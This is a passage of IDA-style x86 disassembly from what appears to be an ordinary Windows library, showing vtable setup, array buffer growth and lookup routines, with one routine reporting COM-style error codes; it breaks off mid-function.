sub_69B660DF	proc near		; CODE XREF: sub_69B66390+3j
					; sub_69B66398+3j
					; DATA XREF: ...
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	sub_69B6CBC6
sub_69B660DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B66100	proc near		; CODE XREF: sub_69B66127+6p
					; sub_69B6640A+22p
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17320
		and	dword ptr [esi+40h], 0
		and	dword ptr [esi+44h], 0
		and	dword ptr [esi+48h], 0FFFFFFF8h
		pop	esi
		retn
sub_69B66100	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B66127	proc near		; DATA XREF: .text:69B12EF8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, ecx
		lea	ecx, [esi-10h]
		call	sub_69B66100
		push	[esp+4+arg_8]
		mov	ecx, esi
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_69B6CD21
		pop	esi
		retn	0Ch
sub_69B66127	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B66149	proc near		; DATA XREF: .text:69B12F10o
		mov	eax, [ecx+1Ch]
		mov	ecx, [ecx+2Ch]
		push	eax
		call	sub_69B1A954
		mov	eax, [eax]
		retn	4
sub_69B66149	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6615A	proc near		; CODE XREF: sub_69B663C1+28p
					; sub_69B6640A+13p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+2Ch]


loc_69B66161:				; CODE XREF: sub_69B6615A+23j
		mov	ecx, [esi+38h]
		push	edi
		call	sub_69B1A954
		mov	ecx, [esp+8+arg_0]
		cmp	ecx, [eax]
		jz	short loc_69B66187
		inc	edi
		cmp	edi, [esi+40h]
		jb	short loc_69B6617A
		xor	edi, edi


loc_69B6617A:				; CODE XREF: sub_69B6615A+1Cj
		cmp	edi, [esi+2Ch]
		jnz	short loc_69B66161
		or	eax, 0FFFFFFFFh


loc_69B66182:				; CODE XREF: sub_69B6615A+2Fj
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B66187:				; CODE XREF: sub_69B6615A+16j
		mov	eax, edi
		jmp	short loc_69B66182
sub_69B6615A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6618B	proc near		; CODE XREF: sub_69B663A0+Dp
					; sub_69B663C1+1Cp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	eax, [esi+48h]
		and	eax, 0FFFFFFFDh
		push	edi
		or	eax, 1
		lea	edi, [esi+38h]
		cmp	dword ptr [edi], 0
		mov	[esi+48h], eax
		jnz	short loc_69B661F5
		mov	ebp, 90h
		push	ebp
		call	sub_69B17EF3
		mov	ebx, eax
		mov	ecx, ebx
		mov	dword ptr [ebx+8], 20h
		call	sub_69B19118
		push	ebx
		push	edi
		mov	dword ptr [ebx], offset	off_69B1EE00
		call	sub_69B17320
		push	ebp
		call	sub_69B17EF3
		mov	ebx, eax
		mov	ecx, ebx
		mov	dword ptr [ebx+8], 20h
		call	sub_69B19118
		push	ebx
		lea	eax, [esi+3Ch]
		push	eax
		mov	dword ptr [ebx], offset	off_69B1EE00
		call	sub_69B17320


loc_69B661F5:				; CODE XREF: sub_69B6618B+1Aj
		mov	eax, [edi]
		mov	ebp, [eax+8]
		jmp	loc_69B662AC
; ---------------------------------------------------------------------------


loc_69B661FF:				; CODE XREF: sub_69B6618B+12Ej
		mov	eax, [esi+40h]
		test	eax, eax
		jnz	short loc_69B6621A
		push	[esp+18h+var_8]
		mov	ecx, [esi+14h]
		push	dword ptr [esi+18h]
		mov	eax, [ecx]
		call	dword ptr [eax+54h]
		mov	[esi+44h], eax
		jmp	short loc_69B6623D
; ---------------------------------------------------------------------------


loc_69B6621A:				; CODE XREF: sub_69B6618B+79j
		cmp	eax, 1
		jnz	short loc_69B6623D
		push	[esp+18h+var_8]
		mov	ecx, [esi+14h]
		push	dword ptr [esi+18h]
		mov	eax, [ecx]
		call	dword ptr [eax+54h]
		cmp	eax, [esi+44h]
		jnb	short loc_69B6623D
		cmp	dword ptr [esi+0Ch], 2
		jz	short loc_69B6623D
		or	dword ptr [esi+48h], 4


loc_69B6623D:				; CODE XREF: sub_69B6618B+8Dj
					; sub_69B6618B+92j ...
		push	dword ptr [esi+40h]
		mov	ecx, [esi+3Ch]
		mov	ebx, [esi+14h]
		call	sub_69B1A954
		mov	[esp+18h+var_4], eax
		mov	eax, [ebx]
		push	0
		mov	ecx, ebx
		call	dword ptr [eax+60h]
		push	eax
		push	[esp+1Ch+var_4]
		call	sub_69B17320
		mov	eax, [esi+40h]
		lea	ecx, [eax+1]
		mov	[esi+40h], ecx
		mov	ecx, [edi]
		push	eax
		call	sub_69B1A954
		push	[esp+18h+var_8]
		push	eax
		call	sub_69B17320
		cmp	[esi+40h], ebp
		jb	short loc_69B662A5
		mov	ecx, [edi]
		add	ebp, ebp
		push	ebp
		call	sub_69B660A0
		push	eax
		push	edi
		call	sub_69B17320
		lea	ebx, [esi+3Ch]
		mov	ecx, [ebx]
		push	ebp
		call	sub_69B660A0
		push	eax
		push	ebx
		call	sub_69B17320


loc_69B662A5:				; CODE XREF: sub_69B6618B+F5j
		mov	ecx, esi
		call	sub_69B65903


loc_69B662AC:				; CODE XREF: sub_69B6618B+6Fj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		test	eax, eax
		mov	[esp+18h+var_8], eax
		jnz	loc_69B661FF
		mov	edi, [edi]
		push	dword ptr [esi+40h]
		mov	ecx, edi
		call	sub_69B1A954
		push	0
		push	eax
		call	sub_69B17320
		or	dword ptr [esi+48h], 3
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_69B6618B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B662DE	proc near		; DATA XREF: .text:69B12F2Co

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	edi, ecx
		call	sub_69B6CFE2
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		mov	esi, eax
		lea	eax, [edi+28h]
		push	eax
		lea	ecx, [esi+38h]
		call	sub_69B4D414
		lea	eax, [edi+2Ch]
		push	eax
		lea	ecx, [esi+3Ch]
		call	sub_69B4D414
		mov	eax, [edi+30h]
		mov	[esi+40h], eax
		mov	eax, [edi+34h]
		mov	[esi+44h], eax
		mov	eax, [esi+48h]
		xor	eax, [edi+38h]
		and	eax, 3
		xor	[esi+48h], eax
		mov	eax, [esi+48h]
		mov	ecx, [edi+38h]
		xor	ecx, eax
		and	ecx, 4
		xor	ecx, eax
		pop	edi
		mov	[esi+48h], ecx
		lea	eax, [esi+10h]
		pop	esi
		retn	4
sub_69B662DE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B664E8


loc_69B6633C:				; CODE XREF: sub_69B664E8+Dj
		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	0
		push	[esp+0Ch+arg_0]
		call	sub_69B6D314
		mov	dword ptr [esi], offset	off_69B12FA8
		mov	dword ptr [esi+8], offset off_69B12F48
		mov	dword ptr [esi+10h], offset off_69B12EB0
		and	dword ptr [esi+38h], 0
		and	dword ptr [esi+3Ch], 0
		mov	eax, esi
		pop	esi
		retn	8
; END OF FUNCTION CHUNK	FOR sub_69B664E8

; =============== S U B	R O U T	I N E =======================================



sub_69B66370	proc near		; DATA XREF: .text:69B12F54o

arg_0		= byte ptr  4

		sub	ecx, 8
		jmp	sub_69B66498
sub_69B66370	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B66378	proc near		; DATA XREF: .text:69B12F64o
		sub	ecx, 8
		jmp	sub_69B66072
sub_69B66378	endp

; ---------------------------------------------------------------------------


loc_69B66380:				; DATA XREF: .text:69B12EBCo
		sub	ecx, 10h
		jmp	sub_69B66498
; ---------------------------------------------------------------------------


loc_69B66388:				; DATA XREF: .text:69B12ECCo
		sub	ecx, 10h
		jmp	sub_69B66072

; =============== S U B	R O U T	I N E =======================================



sub_69B66390	proc near		; DATA XREF: .text:69B12F7Co
		sub	ecx, 8
		jmp	sub_69B660DF
sub_69B66390	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B66398	proc near		; DATA XREF: .text:69B12EE4o
		sub	ecx, 10h
		jmp	sub_69B660DF
sub_69B66398	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B663A0	proc near		; DATA XREF: .text:69B12FECo
		push	esi
		mov	esi, ecx
		mov	eax, [esi+48h]
		and	eax, 3
		cmp	al, 3
		jz	short loc_69B663B2
		call	sub_69B6618B


loc_69B663B2:				; CODE XREF: sub_69B663A0+Bj
		push	dword ptr [esi+2Ch]
		mov	ecx, [esi+38h]
		call	sub_69B1A954
		mov	eax, [eax]
		pop	esi
		retn
sub_69B663A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B663C1	proc near		; DATA XREF: .text:69B12F04o

arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		mov	eax, [esi+38h]
		and	eax, 3
		jnz	short loc_69B663D5
		mov	ecx, [esi+4]
		mov	eax, [ecx]
		pop	esi
		jmp	dword ptr [eax+54h]
; ---------------------------------------------------------------------------


loc_69B663D5:				; CODE XREF: sub_69B663C1+9j
		cmp	eax, 1
		jnz	short loc_69B663E2
		lea	ecx, [esi-10h]
		call	sub_69B6618B


loc_69B663E2:				; CODE XREF: sub_69B663C1+17j
		push	[esp+4+arg_4]
		lea	ecx, [esi-10h]
		call	sub_69B6615A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_69B663F7
		or	eax, eax
		jmp	short loc_69B66406
; ---------------------------------------------------------------------------


loc_69B663F7:				; CODE XREF: sub_69B663C1+30j
		test	byte ptr [esi+38h], 4
		jz	short loc_69B663FF
		neg	eax


loc_69B663FF:				; CODE XREF: sub_69B663C1+3Aj
		mov	ecx, eax
		mov	eax, [esi+34h]
		add	eax, ecx


loc_69B66406:				; CODE XREF: sub_69B663C1+34j
		pop	esi
		retn	8
sub_69B663C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6640A	proc near		; DATA XREF: .text:69B12F38o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		test	byte ptr [esi+38h], 3
		push	edi
		jz	short loc_69B66427
		push	[esp+8+arg_4]
		lea	edi, [esi-10h]
		mov	ecx, edi
		call	sub_69B6615A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_69B66441


loc_69B66427:				; CODE XREF: sub_69B6640A+8j
		lea	edi, [esi-10h]
		mov	ecx, edi
		call	sub_69B66100
		push	[esp+8+arg_4]
		mov	ecx, [esi+4]
		push	[esp+0Ch+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+54h]


loc_69B66441:				; CODE XREF: sub_69B6640A+1Bj
		mov	eax, [esi+38h]
		and	eax, 3
		cmp	al, 3
		jz	short loc_69B66452
		mov	ecx, edi
		call	sub_69B6618B


loc_69B66452:				; CODE XREF: sub_69B6640A+3Fj
		test	byte ptr [esi+38h], 4
		jz	short loc_69B6645D
		xor	ecx, ecx
		inc	ecx
		jmp	short loc_69B66460
; ---------------------------------------------------------------------------


loc_69B6645D:				; CODE XREF: sub_69B6640A+4Cj
		mov	ecx, [esi+30h]


loc_69B66460:				; CODE XREF: sub_69B6640A+51j
		mov	eax, [esi+34h]
		pop	edi
		add	eax, ecx
		pop	esi
		retn	8
sub_69B6640A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6646A	proc near		; CODE XREF: sub_69B664D0+Fp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B6D3CA
		mov	dword ptr [esi], offset	off_69B12FA8
		mov	dword ptr [esi+8], offset off_69B12F48
		mov	dword ptr [esi+10h], offset off_69B12EB0
		and	dword ptr [esi+38h], 0
		and	dword ptr [esi+3Ch], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6646A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B66498	proc near		; CODE XREF: sub_69B66370+3j
					; .text:69B66383j
					; DATA XREF: ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B664B3
		test	[esp+4+arg_0], 1
		jz	short loc_69B664AD
		push	esi
		call	sub_69B1829F


loc_69B664AD:				; CODE XREF: sub_69B66498+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B66498	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B664B3	proc near		; CODE XREF: sub_69B66498+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B65BC0
sub_69B664B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B664D0	proc near		; DATA XREF: .text:69B6607Co
		push	4Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B664E5
		push	0
		mov	ecx, eax
		call	sub_69B6646A
		retn
; ---------------------------------------------------------------------------


loc_69B664E5:				; CODE XREF: sub_69B664D0+9j
		xor	eax, eax
		retn
sub_69B664D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B664E8	proc near		; CODE XREF: sub_69B5F3B7+74p
					; sub_69B5FD60+94p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B6633C SIZE 00000034 BYTES

		push	4Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B664FA
		mov	ecx, eax
		jmp	loc_69B6633C
; ---------------------------------------------------------------------------


loc_69B664FA:				; CODE XREF: sub_69B664E8+9j
		xor	eax, eax
		retn	8
sub_69B664E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B664FF	proc near		; CODE XREF: sub_69B65C93+3j
					; .text:69B65CAEj
					; DATA XREF: ...
		mov	eax, offset off_69B29710
		retn
sub_69B664FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B66505	proc near		; CODE XREF: sub_69B65924+16p
					; DATA XREF: .text:69B12C68o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	[esp+4+arg_8]
		mov	esi, ecx
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_69B6CD21
		and	dword ptr [esi+2Ch], 0FFFFFFFEh
		pop	esi
		retn	0Ch
sub_69B66505	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B66521	proc near		; DATA XREF: .text:69B12C60o
					; .text:69B12DA8o
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, [esi+20h]
		shr	ebx, 2
		not	bl
		push	edi
		and	bl, 1
		call	sub_69B6CC3B
		test	bl, bl
		mov	edi, eax
		jz	short loc_69B66552
		mov	ecx, [esi+28h]
		test	ecx, ecx
		jz	short loc_69B6654A
		mov	eax, [ecx]
		call	dword ptr [eax+40h]
		jmp	short loc_69B66552
; ---------------------------------------------------------------------------


loc_69B6654A:				; CODE XREF: sub_69B66521+20j
		lea	ecx, [esi-10h]
		call	sub_69B65903


loc_69B66552:				; CODE XREF: sub_69B66521+19j
					; sub_69B66521+27j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B66521	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B66558	proc near		; CODE XREF: sub_69B65EC5+16j
					; DATA XREF: .text:69B12C64o
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+28h]
		test	ecx, ecx
		jz	short loc_69B66567
		mov	eax, [ecx]
		call	dword ptr [eax+44h]


loc_69B66567:				; CODE XREF: sub_69B66558+8j
		and	dword ptr [esi+2Ch], 0FFFFFFFEh
		mov	ecx, esi
		pop	esi
		jmp	sub_69B6CCB6
sub_69B66558	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B66573	proc near		; DATA XREF: .text:69B12CA0o
					; .text:69B12DE8o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esi+28h]
		test	ecx, ecx
		jz	short loc_69B66589
		push	[esp+4+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+80h]


loc_69B66589:				; CODE XREF: sub_69B66573+8j
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_69B6CD55
		pop	esi
		retn	4
sub_69B66573	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B66598	proc near		; CODE XREF: sub_69B65E77+1Dp
					; DATA XREF: .text:69B12C6Co

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+28h]
		test	ecx, ecx
		jnz	short loc_69B665B7
		push	[ebp+arg_8]
		mov	ecx, esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B6CA2C
		jmp	short loc_69B665E4
; ---------------------------------------------------------------------------


loc_69B665B7:				; CODE XREF: sub_69B66598+Bj
		xor	eax, eax
		cmp	[ebp+arg_8], eax
		jz	short loc_69B665E4
		push	edi
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		jz	short loc_69B665E3
		push	[ebp+arg_8]
		mov	eax, [ecx]
		push	edi
		push	[ebp+arg_0]
		call	dword ptr [eax+4Ch]
		test	eax, eax
		jz	short loc_69B665E3
		push	eax
		push	edi
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_69B6CA2C


loc_69B665E3:				; CODE XREF: sub_69B66598+2Dj
					; sub_69B66598+3Dj
		pop	edi


loc_69B665E4:				; CODE XREF: sub_69B66598+1Dj
					; sub_69B66598+24j
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B66598	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B665E9	proc near		; DATA XREF: .text:69B12D04o
					; .text:69B12E4Co
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+30h], 0
		jnz	short loc_69B665F8
		pop	esi
		jmp	sub_69B6CA4E
; ---------------------------------------------------------------------------


loc_69B665F8:				; CODE XREF: sub_69B665E9+7j
		push	edi
		call	sub_69B6CA4E
		mov	ecx, [esi+30h]
		mov	edi, eax
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+4Ch]
		and	eax, edi
		pop	edi
		pop	esi
		retn
sub_69B665E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B66614	proc near		; CODE XREF: sub_69B658F2+4j
					; DATA XREF: .text:69B12D60o

arg_0		= dword	ptr  4

		mov	eax, [ecx+38h]
		test	eax, eax
		jz	sub_69B6C9EA
		mov	edx, [eax]
		mov	ecx, eax
		jmp	dword ptr [edx+60h]
sub_69B66614	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B66626	proc near		; DATA XREF: .text:69B12C70o
					; .text:69B12DB8o
		mov	eax, [ecx+28h]
		test	eax, eax
		jz	sub_69B6CA3F
		mov	edx, [eax]
		mov	ecx, eax
		jmp	dword ptr [edx+50h]
sub_69B66626	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B66638	proc near		; DATA XREF: .text:69B12C90o
					; .text:69B12DD8o
		cmp	dword ptr [ecx+4], 0
		jz	short loc_69B66645
		fld	ds:dbl_69B296F8
		retn
; ---------------------------------------------------------------------------


loc_69B66645:				; CODE XREF: sub_69B66638+4j
		mov	eax, [ecx+28h]
		test	eax, eax
		jz	sub_69B6C9E3
		mov	edx, [eax]
		mov	ecx, eax
		jmp	dword ptr [edx+70h]
sub_69B66638	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B66657	proc near		; CODE XREF: sub_69B65EE0+8p
					; sub_69B65EE0+51p ...
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		test	byte ptr [esi+3Ch], 1
		push	edi
		jnz	short loc_69B6668E
		cmp	dword ptr [esi+38h], 0
		jz	short loc_69B6668A
		mov	eax, [esi]
		call	dword ptr [eax+40h]
		mov	edi, [esi+38h]
		mov	ebp, [edi]
		lea	ecx, [esi+10h]
		mov	ebx, eax
		mov	eax, [ecx]
		call	dword ptr [eax+84h]
		mov	ecx, edi
		push	eax
		push	ebx
		push	dword ptr [esi+18h]
		call	dword ptr [ebp+48h]


loc_69B6668A:				; CODE XREF: sub_69B66657+10j
		or	dword ptr [esi+3Ch], 1


loc_69B6668E:				; CODE XREF: sub_69B66657+Aj
		mov	ecx, [esi+38h]
		test	ecx, ecx
		jnz	short loc_69B666D3
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		jmp	short loc_69B666D8
; ---------------------------------------------------------------------------


loc_69B6669E:				; CODE XREF: sub_69B66657+85j
		mov	ecx, esi
		call	sub_69B65903
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B666DE
		mov	ebx, [esi+38h]
		test	ebx, ebx
		jz	short loc_69B666DE
		mov	ebp, [ebx]
		lea	ecx, [esi+10h]
		mov	eax, [ecx]
		call	dword ptr [eax+84h]
		mov	ecx, ebx
		push	eax
		push	edi
		push	dword ptr [esi+18h]
		call	dword ptr [ebp+48h]
		mov	ecx, [esi+38h]


loc_69B666D3:				; CODE XREF: sub_69B66657+3Cj
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]


loc_69B666D8:				; CODE XREF: sub_69B66657+45j
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B6669E


loc_69B666DE:				; CODE XREF: sub_69B66657+59j
					; sub_69B66657+60j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_69B66657	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B666E5	proc near		; DATA XREF: .text:69B12D50o
		mov	eax, dword_69B9B3E8
		retn
sub_69B666E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B666EB	proc near		; CODE XREF: sub_69B659BF+23p
					; DATA XREF: .text:69B12D64o
		mov	ecx, [ecx+38h]
		test	ecx, ecx
		jz	short locret_69B666FE
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]
		mov	edx, [eax]
		mov	ecx, eax
		jmp	dword ptr [edx+5Ch]
; ---------------------------------------------------------------------------

locret_69B666FE:			; CODE XREF: sub_69B666EB+5j
		retn	8
sub_69B666EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B66701	proc near		; CODE XREF: sub_69B65A39+11j
					; sub_69B65C9B+3j ...
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	sub_69B6CBC6
sub_69B66701	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B66717	proc near		; CODE XREF: sub_69B65F4D+8p
					; DATA XREF: .text:69B12C9Co

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	esi, ecx
		call	sub_69B6CFE2
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		mov	ecx, [esi+28h]
		test	ecx, ecx
		mov	edi, eax
		jz	short loc_69B66747
		push	[esp+8+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+7Ch]
		push	eax
		lea	eax, [edi+38h]
		push	eax
		call	sub_69B17320


loc_69B66747:				; CODE XREF: sub_69B66717+1Bj
		cmp	dword ptr [esi+8], 0
		jz	short loc_69B66751
		and	dword ptr [edi+3Ch], 0FFFFFFFEh


loc_69B66751:				; CODE XREF: sub_69B66717+34j
		mov	eax, edi
		add	edi, 10h
		neg	eax
		sbb	eax, eax
		and	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_69B66717	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B66761	proc near		; CODE XREF: sub_69B65E27+12p
					; sub_69B667B7+Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	[esp+4+arg_C]
		mov	esi, ecx
		push	[esp+8+arg_8]
		push	[esp+0Ch+arg_0]
		call	sub_69B6D314
		push	[esp+4+arg_4]
		lea	eax, [esi+38h]
		mov	dword ptr [esi], offset	off_69B12D18
		mov	dword ptr [esi+8], offset off_69B12CB8
		mov	dword ptr [esi+10h], offset off_69B12C20
		and	dword ptr [eax], 0
		push	eax
		call	sub_69B17320
		mov	eax, esi
		pop	esi
		retn	10h
sub_69B66761	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6679F	proc near		; DATA XREF: .text:69B29714o
		push	40h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B667B4
		push	0
		mov	ecx, eax
		call	sub_69B65C0F
		retn
; ---------------------------------------------------------------------------


loc_69B667B4:				; CODE XREF: sub_69B6679F+9j
		xor	eax, eax
		retn
sub_69B6679F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B667B7	proc near		; CODE XREF: sub_69B5F498+218p
					; sub_69B6349E+CFp
		push	40h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B667C6
		mov	ecx, eax
		jmp	short sub_69B66761
; ---------------------------------------------------------------------------


loc_69B667C6:				; CODE XREF: sub_69B667B7+9j
		xor	eax, eax
		retn	10h
sub_69B667B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B667CB	proc near		; CODE XREF: sub_69B66805+3j
					; DATA XREF: .text:69B1569Co
		mov	eax, offset off_69B667D8
		retn
sub_69B667CB	endp

; ---------------------------------------------------------------------------
		align 8
off_69B667D8	dd offset off_69B29C74	; DATA XREF: sub_69B667CBo
		dd offset sub_69B6C893

; =============== S U B	R O U T	I N E =======================================



sub_69B667E0	proc near		; DATA XREF: .text:69B1566Co
		push	dword ptr [ecx+0Ch]
		add	ecx, 0FFFFFFF8h
		call	sub_69B6C8AB
		retn
sub_69B667E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B667EC	proc near		; DATA XREF: .text:69B13D10o
					; .text:69B155E0o ...
		mov	eax, dword_69B9B310
		retn
sub_69B667EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B667F2	proc near		; DATA XREF: .text:69B1565Co
		mov	eax, [ecx+8]
		mov	eax, dword_69B9A194[eax*4]
		retn
sub_69B667F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B667FD	proc near		; DATA XREF: .text:69B1562Co

arg_0		= byte ptr  4

		sub	ecx, 8
		jmp	sub_69B676E0
sub_69B667FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B66805	proc near		; DATA XREF: .text:69B1563Co
		sub	ecx, 8
		jmp	short sub_69B667CB
sub_69B66805	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6680A	proc near		; CODE XREF: sub_69B676D8+3j
					; DATA XREF: .text:69B156B4o
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B6680A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B66820	proc near		; CODE XREF: sub_69B6699A+4ECp

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	ecx, [esi+14h]
		xor	ebx, ebx
		push	ebx
		call	sub_69B8A163
		mov	ecx, [esi+14h]
		xor	edi, edi
		inc	edi
		push	edi
		mov	[ebp+var_4], eax
		call	sub_69B8A163
		mov	ecx, [ebp+var_4]
		lea	edx, [ebp+var_28]
		push	edx
		push	[ebp+arg_8]
		mov	[ebp+var_8], eax
		push	[ebp+arg_4]
		mov	[ebp+var_28], ebx
		push	[ebp+arg_0]
		mov	[ebp+var_24], bl
		mov	eax, [ecx]
		call	dword ptr [eax+54h]
		push	edi
		lea	eax, [ebp+var_28]
		push	eax
		push	5
		lea	ecx, [ebp+var_28]
		call	sub_69B64008
		mov	ecx, [ebp+var_8]
		lea	edx, [ebp+var_18]
		push	edx
		push	[ebp+arg_8]
		mov	[ebp+var_18], ebx
		push	[ebp+arg_4]
		mov	[ebp+var_14], bl
		push	[ebp+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+54h]
		push	edi
		lea	eax, [ebp+var_18]
		push	eax
		push	5
		lea	ecx, [ebp+var_18]
		call	sub_69B64008
		cmp	[ebp+var_28], 5
		jnz	short loc_69B668A8
		cmp	[ebp+var_18], 5
		jz	short loc_69B668BB


loc_69B668A8:				; CODE XREF: sub_69B66820+80j
		push	ebx
		push	0C00CE604h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B668BB:				; CODE XREF: sub_69B66820+86j
		mov	esi, [esi+10h]
		sub	esi, 6
		jz	loc_69B6696F
		dec	esi
		jz	short loc_69B66937
		dec	esi
		jz	short loc_69B6690A
		dec	esi
